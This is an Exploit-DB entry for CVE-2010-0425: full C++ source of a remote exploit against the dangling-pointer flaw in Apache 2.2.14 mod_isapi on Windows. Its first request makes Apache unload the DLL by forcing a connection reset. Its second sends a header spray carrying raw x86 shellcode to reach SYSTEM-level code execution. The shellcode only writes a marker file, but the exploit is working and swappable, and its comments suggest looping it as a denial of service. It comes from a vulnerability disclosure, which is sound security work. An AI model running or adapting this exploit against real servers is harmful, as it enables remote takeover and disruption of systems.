标题: Apache 2.2.14 mod_isapi - Dangling Pointer Remote SYSTEM EDB-ID: 11650 CVE: 2010-0425 类型: REMOTE 平台: WINDOWS 发布日期: 2010-03-07 漏洞利用脚本: /*
 * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
 * ------------------------------------------------------------------------------
 *
 * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
 * 
 * Description:
 * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
 * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential 
 * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause 
 * a constant DoS by looping this (since apache will automatically restart) :)
 *
 * Note that the exploit code may need to be run multiple times before a shell is spawned (70%
 * success rate - tested on three different systems). Furthermore, the exploit code may require 
 * modification to exploit this vulnerability on different platforms. This is due to loaded memory 
 * references to the unloaded DLL (they will be different for each ISAPI module). Do not test
 * this code in a VM otherwise the code may fail to send the RESET packet (something to do with
 * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
 * to have to use raw packets on Windows. 
 *
 * Shellcode Note: 
 * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. 
 * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
 * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base 
 * address of msvcrt.dll instead. I've also added another check so that it will be able to detect
 * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
 * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of 
 * msvcrt.dll. So the added check will verify the presents of "m" before proceeding. 
 *
 * Author: 
 * Brett Gervasoni (brettg [at] senseofsecurity.com.au)
 *
 * Copyright Sense of Security Pty Ltd 2010. 
 * http://www.senseofsecurity.com.au
 */

#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>

#pragma comment(lib, "wsock32.lib")

using namespace std;

#define SERVER_PORT 80

void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();

WORD sockVersion;
WSADATA wsaData;

int sock;
struct sockaddr_in rserver;

int main(int argc, char *argv[])
{
 string serverIP, isapiDLL;
 string triggerVuln, payload;
 char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];

 //custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
 //Note: There are four NOPs at the end for padding. Not really needed. 
 char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"
        "\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"
        "\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"
        "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"
        "\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"
        "\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
        "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"
        "\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"
        "\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"
        "\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"
        "\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"
        "\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"
        "\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"
        "\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"
        "\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"
        "\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";

 header();

 if (argc < 3)
 {
  printf("usage: %s <ip> <DLL>\n", argv[0]);
  return 1;
 }

 serverIP = string(argv[1]);
 isapiDLL = string(argv[2]);

 //all these values could be set to 7601 + sizeof(shellcode)
 //but mixing it up is good. 
 memset(accept, 'A', 170);
 memset(referer, 'A', 732);
 memset(cookie, 'A', 5375);
 memset(random, 'A', 7603);
 memset(postData, 'A', 23378);
 memset(footer, 'A', 298);

 triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
  "User-Agent: AAAAAAAA\r\n"
  "Pragma: no-cache\r\n"
  "Proxy-Connection: Keep-Alive\r\n"
  "Host: " + serverIP + "\r\n"
  "Content-Length: 40334\r\n\r\n" +
  string(footer);

 //Modify the below request if needed (depending on where your function pointer is pointing)
 //Do so by adding or removing headers. So if you want to hit a higher function pointer, 
 //keep adding headers :) 
 //Note: If performing this blindly, try it a few times, change a bit, try again. 
 //During testing i found that using a chunk of data the same size with the same header name
 //was more unreliable. In memory, large amounts of nulls are being placed either side of the 
 //payload. Since the function pointer address was random, by slightly mixing up the size of 
 //each header i would get better results.
 payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
  "Accept: " + string(accept) + "\r\n"
  "Referer: " + string(referer) + string(shellcode) + "\r\n"
  "From: " + string(cookie) + string(shellcode) + "\r\n"
  "Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"
  "Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  "Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  "UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  "Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  "User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
  "Cookie: " + string(cookie) + string(shellcode) + "\r\n"
  "Host: " + serverIP + "\r\n"
  "Proxy-Connection: Keep-Alive\r\n"
  "Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"
  "Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
  "Asdasda: " + string(random) + string(shellcode) + "\r\n"
  "Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
  "Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
  "Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
  "Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
  "Content-Length: 25054\r\n\r\n" + 
  string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);

 //Setup connection
 if (createConnection(serverIP, SERVER_PORT) == 1)
 {
  printf("- an error occurred connecting to the server\n");
  return 1;
 }

 printf("[+] Connected to %s.\n", serverIP.c_str());

 printf("[+] Setting socket data structure values\n");
 int iOptVal;
 int aiOptVal;
 
 struct linger linger_data;
 
 //This is meant to set closesocket to do a "graceful close",
 //however this is not the case when WSACancelBlockingCall() is called. A RESET packet is 
 //sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent. 
 linger_data.l_onoff = 0;
 linger_data.l_linger = 0;

 setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
 setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));

 //Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
 getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
 getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
 printf("    - SO_LINGER value is set to %ld\n", linger_data.l_onoff);
 printf("    - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);
 
 printf("[*] Triggering DLL unload\n");
 sendTransmission(triggerVuln);

 Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent. 
 WSACancelBlockingCall(); //Cause reset packet response

 Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
 closesocket(sock);

 Sleep(2000);
 WSACleanup();
 
 Sleep(2000);
 printf("[+] The DLL should be unloaded by now\n");
 
 //Reconnect to deliver payload
 if (createConnection(serverIP, SERVER_PORT) == 1)
 {
  printf("- an error occurred connecting to the server\n");
  return 1;
 }
 
 printf("[*] Sending payload\n");
 sendTransmission(payload);

 cleanUp();

 printf("[+] Check to see if sos.txt was created...\n");

 return 0;
}

void header()
{
 printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");
 printf("-------------------------------------------------------------\n");
 printf("         Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");
 printf("                    Copyright Sense of Security Pty Ltd 2010.\n");
}

//Setup the server
int createConnection(string serverIP, int port)
{
 int result = 0, len = 0;

 sockVersion = MAKEWORD(1,1);
 WSAStartup(sockVersion, &wsaData);
 
 if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
 {
  perror("error: socket()\n");
  result = 1;
 }

 rserver.sin_family = AF_INET;
 rserver.sin_port = htons(port);
 rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
 memset(&rserver.sin_zero, 0, 8);

 len = sizeof(struct sockaddr_in);
 
 if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
 {
  perror("error: connect()\n");
  result = 1;
 }

 return result;
}

//Send a message
int sendTransmission(string message)
{
 int bytes_sent = 0;

 bytes_sent = send(sock, message.c_str(), message.length(), 0);
 if (bytes_sent < 0)
 {
  perror("error: send()\n");
  exit(1);
 }
 
 return bytes_sent;
}

//Receive a message
string recvTransmission()
{
 string result;
 char *c = new char[1];
 int bytes_recv = 0;

 while (c[0] != NULL)
 {
  bytes_recv = recv(sock, c, 1, 0);

  if (bytes_recv < 0)
  {
   perror("error: recv()\n");
   //exit(1);
  }

  result += c[0];
 }

 return result;
}

//Clean up the connection
void cleanUp()
{
 closesocket(sock);
 WSACleanup();
} URL: https://www.exploit-db.com/exploits/11650